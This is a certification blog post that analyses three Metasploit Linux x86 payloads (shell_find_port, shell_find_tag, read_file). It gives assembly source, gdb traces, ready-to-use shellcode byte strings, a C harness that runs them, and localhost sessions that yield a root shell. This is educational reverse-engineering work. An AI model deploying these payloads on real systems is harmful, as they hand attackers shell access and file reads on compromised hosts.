tcunha.github.io

The lesson of history is that no one learns.

SLAE 0x05: Metasploit Payloads

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

Instead of analysing the already done shellcodes in the previous exercises like the bind and reverse shells, I’ve decided to pick the following three:

1. linux/x86/shell_find_port

This payload checks if a remote client is connecting from the configured TCP port by going through all file descriptors. In that circumstance, a shell is spawned:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
global _start

section .text
_start:
  xor ebx, ebx
  push ebx
  mov edi, esp                    ; save socket structure in the stack
  push byte +0x10                 ; 16 bytes in total
  push esp                        ; addrlen
  push edi                        ; addr
  push ebx                        ; sockfd
  mov ecx, esp                    ; args
  ; int getpeername(int, struct sockaddr *, socklen_t *)
  mov bl, 0x7                     ; call

port_restart:
  inc dword [ecx]                 ; increment getpeername(2) descriptor
  push byte +0x66
  ; int socketcall(int, unsigned long *)
  pop eax
  int 0x80

  cmp word [edi + 0x2], 0x9210    ; compare remote port with 4242/tcp
  jnz port_restart                ; remote port is different

  pop ebx                         ; pop the detected file descriptor value
  push byte +0x2                  ; start by redirecting stderr to it
  pop ecx
port_dup2_loop:
  mov al, 0x3f
  ; int dup2(int, int)
  int 0x80
  dec ecx                         ; redirect stdout and stdin, too
  jns port_dup2_loop              ; don't jump if ecx is positive

  push eax                        ; dup2(2) returned 0, push it
  push dword 0x68732f2f           ; //sh
  push dword 0x6e69622f           ; /bin
  mov ebx, esp                    ; filename
  push eax
  push ebx                        ; filename
  mov ecx, esp                    ; argv
  cdq                             ; set edx to zero as well
  mov al, 0xb
  ; int execve(const char *, char *const [], char *const [])
  int 0x80

The block up to the first interrupt is making use of the socketcall(2) system call to retrieve the foreign protocol address associated with a socket by using getpeername(2). The first expects the socket system call number in its first parameter and a memory region containing the respective system call arguments in the second parameter.

retrieving the system call number
1
2
3
$ asm-syscall socketcall
#define __NR_socketcall 102
0x66
socketcall(2) prototype
1
int socketcall(int call, unsigned long *args);
getpeername(2) call number
1
2
$ grep -E "[^1-9]7" /usr/include/linux/net.h
#define SYS_GETPEERNAME 7               /* sys_getpeername(2)           */
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 102                |
| ebx      | 7                  |
| ecx      | esp pointer        |
+----------+--------------------+
getpeername(2) prototype
1
int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

Like with accept(2), this function passes a socket address structure from the kernel to the user process, thus one of its arguments is the socket structure size. This is a pointer since it is both a value when it is called and a result when returned. Its structure in memory will have the following layout:

+-------------+
| 0x0         |<-----+
+-------------+      |
| 0x10        |<--+  |
+-------------+   |  |
| addrlen     |---+  |
+-------------+      |
| addr        |------+
+-------------+
| sockfd      |<---- ecx
+-------------+
dissecting the first block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Dump of assembler code for function shellcode:
   0x00402060 <+0>:     xor    ebx,ebx
   0x00402062 <+2>:     push   ebx
   0x00402063 <+3>:     mov    edi,esp
   0x00402065 <+5>:     push   0x10
   0x00402067 <+7>:     push   esp
   0x00402068 <+8>:     push   edi
   0x00402069 <+9>:     push   ebx
   0x0040206a <+10>:    mov    ecx,esp
=> 0x0040206c <+12>:    mov    bl,0x7
   0x0040206e <+14>:    inc    DWORD PTR [ecx]
   0x00402070 <+16>:    push   0x66
   0x00402072 <+18>:    pop    eax
   0x00402073 <+19>:    int    0x80
   0x00402075 <+21>:    cmp    WORD PTR [edi+0x2],0x9210
   0x0040207b <+27>:    jne    0x40206e <shellcode+14>
   0x0040207d <+29>:    pop    ebx
   0x0040207e <+30>:    push   0x2
   0x00402080 <+32>:    pop    ecx
   0x00402081 <+33>:    mov    al,0x3f
   0x00402083 <+35>:    int    0x80
   0x00402085 <+37>:    dec    ecx
   0x00402086 <+38>:    jns    0x402081 <shellcode+33>
   0x00402088 <+40>:    push   eax
   0x00402089 <+41>:    push   0x68732f2f
   0x0040208e <+46>:    push   0x6e69622f
   0x00402093 <+51>:    mov    ebx,esp
   0x00402095 <+53>:    push   eax
   0x00402096 <+54>:    push   ebx
   0x00402097 <+55>:    mov    ecx,esp
   0x00402099 <+57>:    cdq
   0x0040209a <+58>:    mov    al,0xb
   0x0040209c <+60>:    int    0x80
   0x0040209e <+62>:    add    BYTE PTR [eax],al
End of assembler dump.
$9 = [ PF ZF IF ]
0x0040206c in shellcode ()
(gdb) x/6x $esp
0xbffff588:     0x00000000      0xbffff598      0xbffff594      0x00000010
0xbffff598:     0x00000000      0x0040098a
(gdb) x/x $esp+4
0xbffff58c:     0xbffff598
(gdb) i r edi
edi             0xbffff598      -1073744488
(gdb) x/x $esp+8
0xbffff590:     0xbffff594
(gdb) x/x 0xbffff594
0xbffff594:     0x00000010

The next block of code is comprised of checking the remote TCP port for the current file descriptor. The sin_port member, as described in the first exercise, is 2 bytes from the start of the returned structure, and will be compared with 0x9210 (ie 4242/tcp). If the zero flag isn’t set, the next file descriptor will be tried, by incrementing the memory location mentioned above.

In this scenario, the remote client will be assigned file descriptor 4, since file descriptors 0 through 2 are the standard ones, and the third is returned by socket(2):

+------+
| 0    | => stdin
| 1    | => stdout
| 2    | => stderr
| 3    | => fd
| 4    | => fd_client
+------+
dissecting the second block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
Dump of assembler code for function shellcode:
   0x00402060 <+0>:     xor    ebx,ebx
   0x00402062 <+2>:     push   ebx
   0x00402063 <+3>:     mov    edi,esp
   0x00402065 <+5>:     push   0x10
   0x00402067 <+7>:     push   esp
   0x00402068 <+8>:     push   edi
   0x00402069 <+9>:     push   ebx
   0x0040206a <+10>:    mov    ecx,esp
   0x0040206c <+12>:    mov    bl,0x7
   0x0040206e <+14>:    inc    DWORD PTR [ecx]
   0x00402070 <+16>:    push   0x66
   0x00402072 <+18>:    pop    eax
   0x00402073 <+19>:    int    0x80
   0x00402075 <+21>:    cmp    WORD PTR [edi+0x2],0x9210
=> 0x0040207b <+27>:    jne    0x40206e <shellcode+14>
   0x0040207d <+29>:    pop    ebx
   0x0040207e <+30>:    push   0x2
   0x00402080 <+32>:    pop    ecx
   0x00402081 <+33>:    mov    al,0x3f
   0x00402083 <+35>:    int    0x80
   0x00402085 <+37>:    dec    ecx
   0x00402086 <+38>:    jns    0x402081 <shellcode+33>
   0x00402088 <+40>:    push   eax
   0x00402089 <+41>:    push   0x68732f2f
   0x0040208e <+46>:    push   0x6e69622f
   0x00402093 <+51>:    mov    ebx,esp
   0x00402095 <+53>:    push   eax
   0x00402096 <+54>:    push   ebx
   0x00402097 <+55>:    mov    ecx,esp
   0x00402099 <+57>:    cdq
   0x0040209a <+58>:    mov    al,0xb
   0x0040209c <+60>:    int    0x80
   0x0040209e <+62>:    add    BYTE PTR [eax],al
End of assembler dump.
$13 = [ PF ZF IF ]

Breakpoint 2, 0x0040207b in shellcode ()
(gdb) x/x $ecx
0xbffff588:     0x00000004
(gdb) x/2b $edi+0x2
0xbffff59a:     0x10    0x92

The remaining of the code is the standard dup2(2) redirection of the usual file descriptors and calling execve(2) with /bin/sh. The following C program can be used to see the shellcode in action:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <sys/types.h>
#include <sys/socket.h>

#include <err.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define QUOTE(s)        #s
#define STR(s)          QUOTE(s)

unsigned char shellcode[] = STR(SHELLCODE);

int
bind_try(struct addrinfo *p)
{
  int fd, yes = 1;

  if ((fd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
      warn("socket");
      return (-1);
  }
  if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof yes) == -1)
      err(1, "setsockopt");
  if (bind(fd, p->ai_addr, p->ai_addrlen) == -1) {
      close(fd);
      warn("bind");
      return (-1);
  }

  return (fd);
}

int
main(int argc, char **argv)
{
  char                     hbuf[NI_MAXHOST], sbuf[NI_MAXSERV];
  int                      ai_ret, fd, fd_client;
  socklen_t                sl_client;
  struct addrinfo          ai_hints;
  struct addrinfo         *ai_ptr, *ai_srv;
  struct sockaddr_storage  sa_client;

  if (argc != 2)
      errx(1, "usage: port");

  memset(&ai_hints, 0, sizeof ai_hints);
  ai_hints.ai_family = AF_UNSPEC;
  ai_hints.ai_socktype = SOCK_STREAM;
  ai_hints.ai_flags = AI_PASSIVE;

  if ((ai_ret = getaddrinfo(NULL, argv[1], &ai_hints, &ai_srv)) != 0)
      errx(1, "getaddrinfo: %s", gai_strerror(ai_ret));
  for (ai_ptr = ai_srv; ai_ptr != NULL; ai_ptr = ai_ptr->ai_next) {
      if ((fd = bind_try(ai_ptr)) != -1)
          break;
  }
  if (ai_ptr == NULL)
      errx(1, "failed to bind");
  freeaddrinfo(ai_srv);
  sl_client = sizeof sa_client;

  if (listen(fd, 5) == 1)
      err(1, "listen");
  fd_client = accept(fd, (struct sockaddr *) &sa_client, &sl_client);
  if (fd_client == -1)
      err(1, "accept");
  ai_ret = getnameinfo((struct sockaddr *) &sa_client, sl_client, hbuf,
      sizeof hbuf, sbuf, sizeof sbuf, NI_NUMERICHOST | NI_NUMERICSERV);
  if (ai_ret != 0)
      errx(1, "getnameinfo: %s", gai_strerror(ai_ret));
  printf("Connection from %s:%s\n", hbuf, sbuf);

  (*(void(*)(void)) shellcode)();         /* Call the shellcode. */
  return (0);                             /* NOTREACHED */
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
$ make PROG=shell-find-port
nasm  -f elf32 -o shell-find-port.o shell-find-port.asm
ld -N -zexecstack -o shell-find-port shell-find-port.o
08048080 <_start>:
 8048080:       31 db                   xor    ebx,ebx
 8048082:       53                      push   ebx
 8048083:       89 e7                   mov    edi,esp
 8048085:       6a 10                   push   0x10
 8048087:       54                      push   esp
 8048088:       57                      push   edi
 8048089:       53                      push   ebx
 804808a:       89 e1                   mov    ecx,esp
 804808c:       b3 07                   mov    bl,0x7

0804808e <port_restart>:
 804808e:       ff 01                   inc    DWORD PTR [ecx]
 8048090:       6a 66                   push   0x66
 8048092:       58                      pop    eax
 8048093:       cd 80                   int    0x80
 8048095:       66 81 7f 02 10 92       cmp    WORD PTR [edi+0x2],0x9210
 804809b:       75 f1                   jne    804808e <port_restart>
 804809d:       5b                      pop    ebx
 804809e:       6a 02                   push   0x2
 80480a0:       59                      pop    ecx

080480a1 <port_dup2_loop>:
 80480a1:       b0 3f                   mov    al,0x3f
 80480a3:       cd 80                   int    0x80
 80480a5:       49                      dec    ecx
 80480a6:       79 f9                   jns    80480a1 <port_dup2_loop>
 80480a8:       50                      push   eax
 80480a9:       68 2f 2f 73 68          push   0x68732f2f
 80480ae:       68 2f 62 69 6e          push   0x6e69622f
 80480b3:       89 e3                   mov    ebx,esp
 80480b5:       50                      push   eax
 80480b6:       53                      push   ebx
 80480b7:       89 e1                   mov    ecx,esp
 80480b9:       99                      cdq
 80480ba:       b0 0b                   mov    al,0xb
 80480bc:       cd 80                   int    0x80
Shellcode size: 62
\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x10\x92\x75\xf1\x5b\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
cc -DSHELLCODE=`asm-opcodes shell-find-port` -W -Wall -fno-stack-protector -zexecstack -o shellcode skel.c

Connecting from a random TCP port using nc(1) is silently ignored, while from the configured one yields a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
# ./shellcode 4243
Connection from 127.0.0.1:44050
Connection from 127.0.0.1:4242
$ ss -nlt|grep 4243
LISTEN     0      5            *:4243                     *:*
$ nc -v 127.0.0.1 4243
Connection to 127.0.0.1 4243 port [tcp/*] succeeded!
id
^C
$ nc -vp4242 127.0.0.1 4243
Connection to 127.0.0.1 4243 port [tcp/*] succeeded!
id
uid=0(root) gid=0(root) groups=0(root)

2. linux/x86/shell_find_tag

This one is similar to the above, but instead of expecting a specific remote port on one of its file descriptors, it searches for a configured tag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
global _start

section .text
_start:
  xor ebx, ebx
  push ebx
  mov esi, esp                    ; save buffer in the stack
  push byte +0x40                 ; flags (MSG_DONTWAIT)
  mov bh, 0xa                     ; 2560 bytes
  push ebx                        ; len
  push esi                        ; buf
  push ebx                        ; sockfd
  mov ecx, esp                    ; args
  ; ssize_t recv(int, void *, size_t, int)
  xchg bh, bl                     ; call (now 10 for recv(2))

tag_restart:
  inc word [ecx]                  ; increment recv(2) descriptor
  push byte +0x66
  ; int socketcall(int, unsigned long *)
  pop eax
  int 0x80

  cmp dword [esi], 0x45414c53     ; compare received tag with SLAE
  jnz tag_restart                 ; received buffer is different

  pop edi                         ; pop the detected file descriptor value
  mov ebx, edi                    ; fd
  push byte +0x2
  pop ecx                         ; start by redirecting stderr to it
tag_dup2_loop:
  push byte +0x3f
  ; int dup2(int, int)
  pop eax
  int 0x80
  dec ecx                         ; redirect stdout and stdin, too
  jns tag_dup2_loop               ; don't jump if ecx is positive

  push byte +0xb
  ; int execve(const char *, char *const [], char *const [])
  pop eax
  cdq                             ; set edx to zero, as well
  push edx
  push dword 0x68732f2f           ; //sh
  push dword 0x6e69622f           ; /bin
  mov ebx, esp                    ; filename
  push edx
  push ebx
  mov ecx, esp                    ; argv
  int 0x80
recv(2) call number
1
2
$ grep -E "[^1-9]10" /usr/include/linux/net.h
#define SYS_RECV        10              /* sys_recv(2)                  */
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 102                |
| ebx      | 10                 |
| ecx      | esp pointer        |
+----------+--------------------+
recv(2) prototype
1
ssize_t recv(int sockfd, void *buf, size_t len, int flags);

The recv(2) system call will be used to receive a message from the file descriptors and save the received data on the stack. Its structure in memory will have the following layout:

+-------------+
| 0x0         |<-----+
+-------------+      |
| 0x40        |      |
+-------------+      |
| 0x0a00      |      |
+-------------+      |
| buf         |------+
+-------------+
| sockfd      |<---- ecx
+-------------+
dissecting the first block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
Dump of assembler code for function shellcode:
   0x00402080 <+0>:     xor    ebx,ebx
   0x00402082 <+2>:     push   ebx
   0x00402083 <+3>:     mov    esi,esp
   0x00402085 <+5>:     push   0x40
   0x00402087 <+7>:     mov    bh,0xa
   0x00402089 <+9>:     push   ebx
   0x0040208a <+10>:    push   esi
   0x0040208b <+11>:    push   ebx
   0x0040208c <+12>:    mov    ecx,esp
=> 0x0040208e <+14>:    xchg   bl,bh
   0x00402090 <+16>:    inc    WORD PTR [ecx]
   0x00402093 <+19>:    push   0x66
   0x00402095 <+21>:    pop    eax
   0x00402096 <+22>:    int    0x80
   0x00402098 <+24>:    cmp    DWORD PTR [esi],0x45414c53
   0x0040209e <+30>:    jne    0x402090 <shellcode+16>
   0x004020a0 <+32>:    pop    edi
   0x004020a1 <+33>:    mov    ebx,edi
   0x004020a3 <+35>:    push   0x2
   0x004020a5 <+37>:    pop    ecx
   0x004020a6 <+38>:    push   0x3f
   0x004020a8 <+40>:    pop    eax
   0x004020a9 <+41>:    int    0x80
   0x004020ab <+43>:    dec    ecx
   0x004020ac <+44>:    jns    0x4020a6 <shellcode+38>
   0x004020ae <+46>:    push   0xb
   0x004020b0 <+48>:    pop    eax
   0x004020b1 <+49>:    cdq
   0x004020b2 <+50>:    push   edx
   0x004020b3 <+51>:    push   0x68732f2f
   0x004020b8 <+56>:    push   0x6e69622f
   0x004020bd <+61>:    mov    ebx,esp
   0x004020bf <+63>:    push   edx
   0x004020c0 <+64>:    push   ebx
   0x004020c1 <+65>:    mov    ecx,esp
   0x004020c3 <+67>:    int    0x80
   0x004020c5 <+69>:    add    BYTE PTR [eax],al
End of assembler dump.
$2 = [ PF ZF IF ]
---Type <return> to continue, or q <return> to quit---

Breakpoint 2, 0x0040208e in shellcode ()
(gdb) x/6x $esp
0xbffff158:     0x00000a00      0xbffff168      0x00000a00      0x00000040
0xbffff168:     0x00000000      0x00400b44
(gdb) x/x $esp+4
0xbffff15c:     0xbffff168
(gdb) i r esi
esi             0xbffff168       -1073745560

The next block of code checks if the received tag matches the one configured (SLAE). If the zero flag isn’t set, the next file descriptor is checked, by incrementing the memory location mentioned above. Since in this scenario only one client will be connecting, its assigned file descriptor will also be 4:

dissecting the first block
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Dump of assembler code for function shellcode:
   0x00402080 <+0>:     xor    ebx,ebx
   0x00402082 <+2>:     push   ebx
   0x00402083 <+3>:     mov    esi,esp
   0x00402085 <+5>:     push   0x40
   0x00402087 <+7>:     mov    bh,0xa
   0x00402089 <+9>:     push   ebx
   0x0040208a <+10>:    push   esi
   0x0040208b <+11>:    push   ebx
   0x0040208c <+12>:    mov    ecx,esp
   0x0040208e <+14>:    xchg   bl,bh
   0x00402090 <+16>:    inc    WORD PTR [ecx]
   0x00402093 <+19>:    push   0x66
   0x00402095 <+21>:    pop    eax
   0x00402096 <+22>:    int    0x80
   0x00402098 <+24>:    cmp    DWORD PTR [esi],0x45414c53
   0x0040209e <+30>:    jne    0x402090 <shellcode+16>
=> 0x004020a0 <+32>:    pop    edi
   0x004020a1 <+33>:    mov    ebx,edi
   0x004020a3 <+35>:    push   0x2
   0x004020a5 <+37>:    pop    ecx
   0x004020a6 <+38>:    push   0x3f
   0x004020a8 <+40>:    pop    eax
   0x004020a9 <+41>:    int    0x80
   0x004020ab <+43>:    dec    ecx
   0x004020ac <+44>:    jns    0x4020a6 <shellcode+38>
   0x004020ae <+46>:    push   0xb
   0x004020b0 <+48>:    pop    eax
   0x004020b1 <+49>:    cdq
   0x004020b2 <+50>:    push   edx
   0x004020b3 <+51>:    push   0x68732f2f
   0x004020b8 <+56>:    push   0x6e69622f
   0x004020bd <+61>:    mov    ebx,esp
   0x004020bf <+63>:    push   edx
   0x004020c0 <+64>:    push   ebx
   0x004020c1 <+65>:    mov    ecx,esp
   0x004020c3 <+67>:    int    0x80
   0x004020c5 <+69>:    add    BYTE PTR [eax],al
End of assembler dump.
$15 = [ PF ZF IF ]
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) i r ecx
ecx             0xbffff158       -1073745576
(gdb) x/x 0xbffff158
0xbffff158:     0x00000004
(gdb) x/4x $esi
0xbffff168:     0x53    0x4c    0x41    0x45

The above skeleton C file can also be used to test the shellcode. Sending the correct tag yields a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
$ make PROG=shell-find-tag
nasm  -f elf32 -o shell-find-tag.o shell-find-tag.asm
ld -N -zexecstack -o shell-find-tag shell-find-tag.o
08048080 <_start>:
 8048080:       31 db                   xor    ebx,ebx
 8048082:       53                      push   ebx
 8048083:       89 e6                   mov    esi,esp
 8048085:       6a 40                   push   0x40
 8048087:       b7 0a                   mov    bh,0xa
 8048089:       53                      push   ebx
 804808a:       56                      push   esi
 804808b:       53                      push   ebx
 804808c:       89 e1                   mov    ecx,esp
 804808e:       86 fb                   xchg   bl,bh

08048090 <tag_restart>:
 8048090:       66 ff 01                inc    WORD PTR [ecx]
 8048093:       6a 66                   push   0x66
 8048095:       58                      pop    eax
 8048096:       cd 80                   int    0x80
 8048098:       81 3e 53 4c 41 45       cmp    DWORD PTR [esi],0x45414c53
 804809e:       75 f0                   jne    8048090 <tag_restart>
 80480a0:       5f                      pop    edi
 80480a1:       89 fb                   mov    ebx,edi
 80480a3:       6a 02                   push   0x2
 80480a5:       59                      pop    ecx

080480a6 <tag_dup2_loop>:
 80480a6:       6a 3f                   push   0x3f
 80480a8:       58                      pop    eax
 80480a9:       cd 80                   int    0x80
 80480ab:       49                      dec    ecx
 80480ac:       79 f8                   jns    80480a6 <tag_dup2_loop>
 80480ae:       6a 0b                   push   0xb
 80480b0:       58                      pop    eax
 80480b1:       99                      cdq
 80480b2:       52                      push   edx
 80480b3:       68 2f 2f 73 68          push   0x68732f2f
 80480b8:       68 2f 62 69 6e          push   0x6e69622f
 80480bd:       89 e3                   mov    ebx,esp
 80480bf:       52                      push   edx
 80480c0:       53                      push   ebx
 80480c1:       89 e1                   mov    ecx,esp
 80480c3:       cd 80                   int    0x80
Shellcode size: 69
\x31\xdb\x53\x89\xe6\x6a\x40\xb7\x0a\x53\x56\x53\x89\xe1\x86\xfb\x66\xff\x01\x6a\x66\x58\xcd\x80\x81\x3e\x53\x4c\x41\x45\x75\xf0\x5f\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80
cc -DSHELLCODE=`asm-opcodes shell-find-tag` -W -Wall -fno-stack-protector -zexecstack -o shellcode skel.c
1
2
3
4
5
6
7
8
9
# ./shellcode 4242
Connection from 127.0.0.1:47590
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
HELO
id
SLAE
id
uid=0(root) gid=0(root) groups=0(root)

3. linux/x86/read_file

The final shellcode reads the configured file and writes its contents to a specific file descriptor. Since the above skeleton C program will be used, the contents are going to be written to the remote client over the network on descriptor 4. Since it needs to obtain the absolute address in memory of the path to open, it is using the well known JMP/CALL/POP technique to avoid having \x00 characters in the resulting shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
global _start

section .text
_start:
  jmp short read_eip

read_start:
  mov eax, 0x5
  ; int open(const char *, int)
  pop ebx                 ; path from the jmp/call/pop technique
  xor ecx, ecx            ; flags
  int 0x80

  mov ebx, eax            ; fd (from the return code of open(2))
  mov eax, 0x3
  ; ssize_t read(int, void *, size_t)
  mov edi, esp            ; save contents to the stack
  mov ecx, edi            ; buf
  mov edx, 0x1000         ; count
  int 0x80

  mov edx, eax            ; count (from the return code of read(2))
  mov eax, 0x4
  ; ssize_t write(int, const void *, size_t)
  mov ebx, 0x4            ; fd
  ; ecx is already pointing to the correct location
  int 0x80

  mov eax, 0x1
  ; void exit(int)
  mov ebx, 0x0            ; status
  int 0x80

read_eip:
  call dword read_start
  path: db "/proc/version", 0x00
retrieving the system call numbers
1
2
3
4
5
6
7
8
9
10
11
12
$ asm-syscall open
#define __NR_open 5
0x5
$ asm-syscall read
#define __NR_read 3
0x3
$ asm-syscall write
#define __NR_write 4
0x4
$ asm-syscall exit
#define __NR_exit 1
0x1

By making use of the listening skeleton server as before, the contents of the /proc/version file are echoed back to the remote client:

1
2
3
4
5
# ./shellcode 4242
Connection from 127.0.0.1:47624
$ nc -v 127.0.0.1 4242
Connection to 127.0.0.1 4242 port [tcp/*] succeeded!
Linux version 4.9.0-6-686-pae (debian-kernel@lists.debian.org) (gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1) ) #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07)